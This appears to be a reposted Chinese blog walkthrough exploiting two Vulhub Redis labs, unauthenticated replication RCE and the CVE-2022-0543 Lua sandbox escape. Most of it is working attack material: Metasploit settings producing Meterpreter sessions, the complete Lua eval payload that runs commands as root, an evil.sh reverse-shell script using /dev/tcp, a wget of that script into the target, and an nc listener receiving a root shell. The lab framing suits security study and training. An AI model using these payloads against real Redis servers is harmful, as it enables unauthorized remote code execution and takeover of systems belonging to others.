Vulhub:Redis[漏洞复现]

news2025/1/23 4:50:11

4-unacc(Redis未授权代码执行)

启动漏洞环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Redis 4.x/5.x 主从复制导致的命令执行

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

参考链接:

- <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>

## 环境搭建

执行如下命令启动redis 4.0.14:

```
docker compose up -d
```

环境启动后,通过`redis-cli -h your-ip`即可进行连接,可见存在未授权访问漏洞。

## 漏洞复现

使用[这个POC](https://github.com/vulhub/redis-rogue-getshell)即可直接执行命令:

![](1.png)

查看靶机IP地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/…/Desktop/vulhub/redis/4-unacc]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.138  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a  txqueuelen 1000  (Ethernet)
        RX packets 82678  bytes 95911672 (91.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0

使用curl访问靶机6379端口

curl -v http://192.168.1.138:6379/ --http0.9

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -v http://192.168.1.138:6379/ --http0.9
*   Trying 192.168.1.138:6379...
* Connected to 192.168.1.138 (192.168.1.138) port 6379
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.138:6379
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
-ERR wrong number of arguments for 'get' command
* shutting down connection #0

使用nmap扫描靶机6379端口获取服务版本

nmap -p6379 -sCV 192.168.1.138

使用redis-cli尝试空密码连接到靶机redis数据库

edis-cli -h 192.168.1.138 -p 6379

连接成功后执行命令"info"可查看数据库与靶机相关信息

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# redis-cli -h 192.168.1.138 -p 6379
192.168.1.138:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.11.2-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.3.0
process_id:1
run_id:5effee7489ba583fec7673b53c286dff84554e9f
tcp_port:6379
uptime_in_seconds:7621
uptime_in_days:0
hz:10
lru_clock:6300793
executable:/data/redis-server
config_file:

<...Omitted below...>

由执行的info命令输出可见,数据库版本与nmap扫描结果相同,该Redis版本存在未授权访问漏洞

使用searchsploit搜索redis相关漏洞PoC

searchsploit redis

由输出可见,有关Redis未认证代码执行以及复制代码执行有关的EXP都在MSF中

启动metasploit

msfconsole

检索redis有关exp

search redis type:exploit

使用redis复制代码执行模块

use exploit/linux/redis/redis_replication_cmd_exec

注意,该模块需要配置选项:RHOSTS、RPORT、SRVHOST、SRVPORT、LHOST、LPORT

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 8088
SRVPORT => 8088
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOST 192.168.1.138
RHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.138:4444
[*] 192.168.1.138:6379    - Compile redis module extension file
[+] 192.168.1.138:6379    - Payload generated successfully!
[*] 192.168.1.138:6379    - Listening on 192.168.1.138:8088
[*] 192.168.1.138:6379    - Rogue server close...
[*] 192.168.1.138:6379    - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.24.0.2
[*] Meterpreter session 1 opened (192.168.1.138:4444 -> 172.24.0.2:43180) at 2024-12-16 08:15:02 -0500
[!] 192.168.1.138:6379    - This exploit may require manual cleanup of './psfgqzed.so' on the target

meterpreter > getuid
Server username: redis

到了这一步,vulhub中的该漏洞算是完美结束了,看到很多师傅对提权到ROOT用户有疑问,我这里做一下回答:

关于其他帖子中的通过redis命令CONFIG SET dbfilename XXXXX设置系统SSH公钥文件authorized_keys默认位置完全是错误的。因为该漏洞环境中redis服务默认就是使用redis用户搭建启用,因此无法通过ssh-keygen替换或修改id_rsa文件位置提权至ROOT,由于该vulhub漏洞环境中仅仅搭建了redis服务,其他的环境如:python、java、gcc均未安装,甚至连:wget、curl、sudo这些常用命令也并不支持。在该环境中也并不存在有ROOT用户权限文件以及SUID文件,也并不存在ROOT用户搭建的任何其他服务所以也就断绝了通过高权限、SUID文件、服务漏洞提权的可能,因此该漏洞环境压根不存在提权一说。


CVE-2022-0543(Redis沙箱逃逸)

启动漏洞环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象`package`,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

参考链接:

- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>

## 漏洞环境

执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:

```
docker compose up -d
```

服务启动后,我们可以使用`redis-cli -h your-ip`连接这个redis服务器。

## 漏洞复现

我们借助Lua沙箱中遗留的变量`package`的`loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数,即可获得`io`库,再使用其执行命令:

```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`。

连接redis,使用`eval`命令执行上述脚本:

```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```

可见命令已成功执行:

![](1.png)

使用redis-cli通过空密码连接到靶机redis数据库

redis-cli -h 192.168.1.138 -p 6379

连接成功后发送Payload

val 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami;id", "r"); local res = f:read("*a"); f:close(); return res' 0

收到回显:\"root\nuid=0(root) gid=0(root) groups=0(root)\n"

192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami;id", "r"); local res = f:read("*a"); f:close(); return res' 0
\"root\nuid=0(root) gid=0(root) groups=0(root)\n"

在攻击机本地新建一个反弹shell脚本

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat evil.sh                    
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.138/1425 0>&1

攻击机开启http服务

php -S 0:80

靶机通过沙箱执行wget命令将脚本下载到容器中

┌──(root㉿kali)-[/home/…/Desktop/vulhub/redis/CVE-2022-0543]
└─# redis-cli -h 192.168.1.138 -p 6379
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0
""
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("wget http://192.168.1.138/evil.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
""
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0
"evil.sh\n"

此时http服务器收到请求

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# php -S 0:80
[Mon Dec 16 10:54:11 2024] PHP 8.2.24 Development Server (http://0:80) started
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 Accepted
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 [200]: GET /evil.sh
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 Closing

攻击机通过nc开始监听

rlwrap -cAr nc -lvnp 1425

通过靶机沙箱运行该脚本

192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/bin/bash evil.sh", "r"); local res = f:read("*a"); f:close(); return res' 0

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [192.168.1.138] from (UNKNOWN) [172.25.0.2] 53794
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@4219329dc760:/var/lib/redis# whoami
whoami
root

使用MSF自动化Getshell

msfconsole

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LPORT 1212
LPORT => 1212
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT
SRVPORT => 6379
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 7878
SRVPORT => 7878
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOSTS 192.168.1.138
RHOSTS => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.138:1212
[*] 192.168.1.138:6379    - Compile redis module extension file
[+] 192.168.1.138:6379    - Payload generated successfully!
[*] 192.168.1.138:6379    - Listening on 192.168.1.138:7878
[*] 192.168.1.138:6379    - Rogue server close...
[*] 192.168.1.138:6379    - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.23.0.2
[*] Meterpreter session 1 opened (192.168.1.138:1212 -> 172.23.0.2:52702) at 2024-12-16 10:38:53 -0500
[!] 192.168.1.138:6379    - This exploit may require manual cleanup of './kbfkorde.so' on the target

meterpreter > getuid
Server username: root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2263509.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【PGCCC】Postgresql Varlena 结构

前言 postgresql 会有一些变长的数据类型&#xff0c;存储都是采用 varlena 格式的&#xff08;除了 cstring 类型&#xff09;&#xff0c;通过语句 SELECT typname FROM pg_type WHERE typlen -1就可以看到所有采用 varlena 格式的数据类型&#xff0c;比如常见的 text &am…

Ubuntu搭建ES8集群+加密通讯+https访问

目录 写在前面 一、前期准备 1. 创建用户和用户组 2. 修改limits.conf文件 3. 关闭操作系统swap功能 4. 调整mmap上限 二、安装ES 1.下载ES 2.配置集群间安全访问证书密钥 3.配置elasticsearch.yml 4.修改jvm.options 5.启动ES服务 6.修改密码 7.启用外部ht…

LeetCode:144.前序遍历

跟着carl学算法&#xff0c;本系列博客仅做个人记录&#xff0c;建议大家都去看carl本人的博客&#xff0c;写的真的很好的&#xff01; 代码随想录 LeetCode&#xff1a;144. 二叉树的前序遍历 给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历。 示例 1&#x…

git remote -v(--verbose)显示你的 Git 仓库配置的远程仓库的详细信息

git remote -v 是一个 Git 命令&#xff0c;用于显示你的 Git 仓库配置的远程仓库的详细信息。 当你执行 git remote -v 命令时&#xff0c;你会看到类似以下的输出&#xff1a; origin https://github.com/your-username/your-repo.git (fetch) origin https://github.com…

Gin-vue-admin(4):项目创建前端一级页面和二级页面

目录 创建一级页面创建二级页面 创建一级页面 view目录下新建一个my&#xff0c;Index.vue <template></template><script> export default {name:My, } </script><script setup> import {ref} from vue const myNameref("name") &…

数据结构漫游记:初识vector

​ 嘿&#xff0c;各位技术潮人&#xff01;好久不见甚是想念。生活就像一场奇妙冒险&#xff0c;而编程就是那把超酷的万能钥匙。此刻&#xff0c;阳光洒在键盘上&#xff0c;灵感在指尖跳跃&#xff0c;让我们抛开一切束缚&#xff0c;给平淡日子加点料&#xff0c;注入满满的…

R语言混合模型回归GBTM群组轨迹模型绘图可视化研究

全文链接&#xff1a;https://tecdat.cn/?p38581 在回归分析的广袤领域中&#xff0c;面对具有多条未知函数线的复杂数据时&#xff0c;传统方法常常捉襟见肘。混合模型作为一种强有力的分析手段应运而生&#xff0c;其在处理此类复杂情境时展现出独特的优势与潜力&#xff08…

uniapp自定义树型结构数据弹窗,给默认选中的节点,禁用所有子节点

兼容H5、安卓App、微信小程序 实现逻辑&#xff1a;给默认选中节点的所有子节点添加一个disabled属性&#xff0c;以此禁用子节点。 /components/sonTreeNode/sonTreeNode.vue 封装成组件 <template><view><view :class"[item,item.is_level1?pL1:item…

水仙花数(流程图,NS流程图)

题目&#xff1a;打印出所有的100-999之间的"水仙花数"&#xff0c;并画出流程图和NS流程图。所谓"水仙花数"是指一个三位数&#xff0c;其各位数字立方和等于该数本身。例如&#xff1a;153是一个"水仙花数"&#xff0c;因为1531的三次方&#…

【C++读写.xlsx文件】OpenXLSX开源库在 Ubuntu 18.04 的编译、交叉编译与使用教程

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; ⏰发布时间⏰&#xff1a; 2024-12-17 …

Kioptix Level 2靶场练习保姆级---春不晚

1.将靶机导入至vm中 首先将靶机的网络设置为nat模式&#xff0c;然后在kali中使用arp-scan命令查找靶机ip 靶机ip为&#xff1a;61.139.2.130 arp-scan -l 2.使用nmap扫描目标ip的端口 nmap -p- 61.139.2.130 3.对存在端口进行服务版本和、系统版本、默认脚本检测 nmap -p…

电子元器件与电路之-MOS管的介绍和作用

一、基本概念 MOS 管&#xff0c;或MOSFET&#xff0c;全称是Metal-Oxide-Semiconductor Field-Effect Transistor&#xff08;金属 - 氧化物 - 半导体场效应晶体管&#xff09;。和三极管利用电流控制电流不同&#xff0c;它是一种利用电场效应来控制电流的半导体器件。和三级…

异地组网最简单的方法

01、使用硬件路由器的VPN功能 这是一种相对简单且常用的异地组网方法。你需要有支持VPN功能的路由器&#xff0c;如华硕、中兴等品牌。在主站点的路由器上配置VPN服务器&#xff0c;并在异地设备上通过操作系统自带的VPN连接功能添加一个VPN连接&#xff0c;输入主站点路由器的…

【GO环境安装】mac系统+GoLand使用

文章目录 下载安装包环境配置GoLandGo Modules 下载安装包 地址&#xff1a;GO下载地址 下载好后直接进行安装&#xff1a; 进入terminal&#xff0c;查看是否安装成功&#xff1a; 环境配置 在文稿下面创建工作目录&#xff1a; 在文稿下新建Go_Works文件夹&#xff0c;在…

点击数字层级从 admin.vue 跳转到 inviter-list.vue 组件

文章目录 1、admin.vue2、inviter-list.vue 1、admin.vue 好的&#xff0c;我们来分析一下代码中“层级”这一列的逻辑&#xff0c;并探讨它与后端的关联。 “层级” 列的逻辑 在您的代码中&#xff0c;“层级”列的渲染逻辑如下&#xff1a; <el-table-columnalign&quo…

LabVIEW实时信号采集与频谱分析

系统通过LabVIEW与PXIe硬件结合&#xff0c;实现高精度模拟信号的实时采集、频谱分析与可视化显示。核心功能包括采样率配置、快速傅里叶变换&#xff08;FFT&#xff09;、功率谱图生成及动态缩放调整&#xff0c;同时支持信号平均与噪声抑制。系统设计灵活&#xff0c;适用于…

【ComfyUI + 铅笔素描画风】艺术家DaTou发布了的彩色铅笔素描风格生成(真实感超强)

发布时间&#xff1a;2024年12月09日 项目主页&#xff1a;https://hf-mirror.com/Datou1111/shou_xin 基础模型&#xff1a;flux.1-dev comfyui工作流下载&#xff1a;https://pan.baidu.com/s/1FrLQ4o8ldckKwhIrN1Pv7g?pwd1220 自己测试 官方效果 生成猫猫 shou_xin, a m…

洛谷 B3644 【模板】拓扑排序 / 家谱树 C语言

题目&#xff1a; https://www.luogu.com.cn/problem/B3644 题目描述 有个人的家族很大&#xff0c;辈分关系很混乱&#xff0c;请你帮整理一下这种关系。给出每个人的后代的信息。输出一个序列&#xff0c;使得每个人的后辈都比那个人后列出。 输入格式 第 1 行一个整数 …

unity接入coze智能体

官网链接 coze智能体创建、设置 点击创建–选着智能体&#xff0c;随便起一个名字&#xff0c;就可以了 添加令牌 把随便起一个名字&#xff0c;设置时间&#xff0c;把所有选项都勾选上&#xff0c;一定要勾选所有团队空间&#xff0c;否则无法点击确定。 点击确定后&a…

EE308FZ_Sixth Assignment_Beta Sprint_Sprint Essay 3

Assignment 6Beta SprintCourseEE308FZ[A] — Software EngineeringClass Link2401_MU_SE_FZURequirementsTeamwork—Beta SprintTeam NameFZUGOObjectiveSprint Essay 3_Day5-Day6 (12.15-12.16)Other Reference1. WeChat Mini Program Design Guide 2. Javascript Style Guid…